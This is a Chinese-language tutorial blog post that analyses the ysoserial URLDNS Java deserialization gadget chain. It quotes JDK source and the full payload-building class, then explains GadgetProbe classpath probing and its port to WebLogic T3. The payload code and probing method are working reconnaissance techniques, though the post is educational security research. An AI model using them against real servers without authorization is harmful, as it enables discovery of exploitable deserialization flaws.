URLDNS 分析

URLDNS 是 ysoserial 工具裡面的一條 gadget chain

其主要目的是能夠對指定的 URL 發送 DNS Query

由於它不需要依賴第三方函式庫,原生 JDK 就能夠串起整條 Gadget Chain

所以一般在測試反序列化時,常會以 URLDNS 是否有發送 DNS 請求來判斷反序列化漏洞存在與否

尤其在實戰中常遇到嚴苛的網路環境限制,使得 HTTP/HTTPS 無法對外請求,只能透過 DNS 對外發送查詢請求


今天這篇主要就是來分析 URLDNS gadget chain 背後的原理,以及一些延伸的小應用

由於 URLDNS gadget chain 概念非常單純,所以非常推薦新手學習 Java 反序列化時,可以先從這個 gadget chain 開始看起

若直接從 Common Collections 系列或更複雜的利用鍊開始看,會相對來說吃力很多,很容易降低學習的熱情


先從 HashMapreadObect 看起:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

由於 HashMap 中 Entry 的順序是根據 Key 的 Hash 值來計算並存放的,但是在不同 JVM 中,算出來的 Hash 值有可能不同

HashMap 為了保持反序列化後物件狀態的一致性,所以重寫了 HashMap.readObject() 方法

在過程中,重新計算 Key 和 Value 的位置,並填充進新的 HashMap 中,解決了上述的問題


我們可以注意一下對 Key 做 hash 值計算的部分:

1
putVal(hash(key), key, value, false, false);

跟進去 hash() 方法:

1
2
3
4
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

這裡是對傳進來的 Object 呼叫 hashCode() 方法

而 URLDNS payload 中則選擇使用 java.net.URL 當作目標傳入

也就是說當 key 是 java.net.URL 的實例時,在 hash(key) 執行過程中就會呼叫 key.hashCode()

所以來追進 java.net.URL.hashCode() 方法瞧瞧:

1
2
3
4
5
6
7
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

hashCode 屬性等於 -1 時,會去呼叫 handlerhashCode() 方法

handlerURLStreamHandler 類別或其子類時,該 hashCode() 方法會去做 DNS 查詢:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

getHostAddress() 方法會對傳入的 url 做 DNS 查詢


接著來看看 ysoserial 中 URLDNS Payload 生成的方式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

這裡值得注意的是,它建立了一個 SilentURLStreamHandler 類別,並繼承 URLStreamHandler

這麼做的其中一個原因是 URLStreamHandler 是抽象類別,沒辦法被實例化,所以必須繼承並實作 openConnection() 抽象方法後才能被實例化

另一個原因是,他為了避免我們在構造 payload 時,過程中就先去做 DNS 查詢,所以把 openConnection() , getHostAddress() 兩個方法都覆寫成直接回傳 null


看到這邊時,我就產生一個疑問,這樣在反序列化時,目標機器上沒有 SlientURLStreamHandler class,那它背後怎麼處理的呢?

跟一下 URL class,才發現原來 handler 的屬性是 transient

前面文章中有講過,transient 的物件是不會被序列化的,所以我們設定的 SilentURLStreamHandler 實例也就不會被序列化到目標機器上

接著看一下它的 readObject() 怎麼還原 handler 的:

1
2
3
4
5
6
7
8
private synchronized void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
{
    s.defaultReadObject();  // read the fields
    if ((handler = getURLStreamHandler(protocol)) == null) {
        throw new IOException("unknown protocol: " + protocol);
    }
    ...

getURLStreamHandler() 方法會去根據 protocol 等資訊去決定返回哪個 handler 做後續處理,所以這裡就跟我們前面那個自定義的 SilentURLStreamHandler 完全無關了


最後,我們剛剛說 hashCode 要等於 -1 才會去呼叫 handler.hashCode()

但預設 hashCode 不是 -1,所以可以看到 ysoserial 中把 hashCode 設定成 -1:

1
Reflections.setFieldValue(u, "hashCode", -1)

到此,我們的分析就差不多結束了!


回顧一下整個流程:

把構造出來的物件送到目標機器做反序列化

觸發 HashMap.readObject() 執行

為了還原 hash table 內容,重新計算 key 的 hash 值,呼叫了 hash() 方法

接著又呼叫了 key.hashCode()

hashCode 屬性為 -1 時,會去呼叫 handler.hashCode()

URLStreamHandler 介面的 hashCode() 方法會去呼叫 getHostAddress() 做 DNS 查詢!



Gadget Probe

近期 github 上面有人分享了 GadgetProbe 這個工具

這個工具能夠透過 URLDNS 的方式,判斷目標機器 classpath 中是否存在某個 class (gadget)


其背後的原理很簡單,只是在 URLDNS 的基礎之上多加一個判斷的小技巧而已

簡單說明一下該工具的核心概念:


如果我們送了一個目標機器不存在的類別實例過去

那目標機器因為找不到對應的類別,所以程式會噴錯誤,後面的程式邏輯就會直接略過

所以 gadget probe 的方法就是:

構造一個場景,讓目標先反序列化我們要判斷的類別實例,然後再緊接著去做 DNS query

若該類別存在,就會接著發送 DNS 請求

若該類別不存在,會因為程式錯誤而不發送 DNS 請求

這樣我們就能透過是否收到 DNS 請求來知道對方機器是否存在某個類別


實作上有個小細節是,若本地目標類別不存在

可以透過 javassist 去建立一個空的 class

這樣我們就能生成對應的類別實例去做序列化了


再補充一個小東西:

Weblogic 有實作自己的 RMI protocol,也就是 T3 protocol

T3 protocol 的格式有點小複雜,這裡就不細講

但這裡重點是,其中有一部分內容是一般 Java Serialization Object 的格式,也就是 ac ed 00 05 的格式

所以我們可以把 ysoserial 產出來的 payload 拿來直接置換掉這個部分,並把長度欄位改一下就能直接使用了,真棒!

前面講到的 gadget probe 也能用一樣的方法在 Weblogic 上實作出來

所以我就把原本的 gadget probe 移植成 weblogic 能用的版本

有興趣的讀者可以參考我的 github repo

(目前只有測試單一版本 weblogic 可以 work,有可能在其他版本或不同環境會失敗,所以有問題歡迎發 issue 或送 PR~)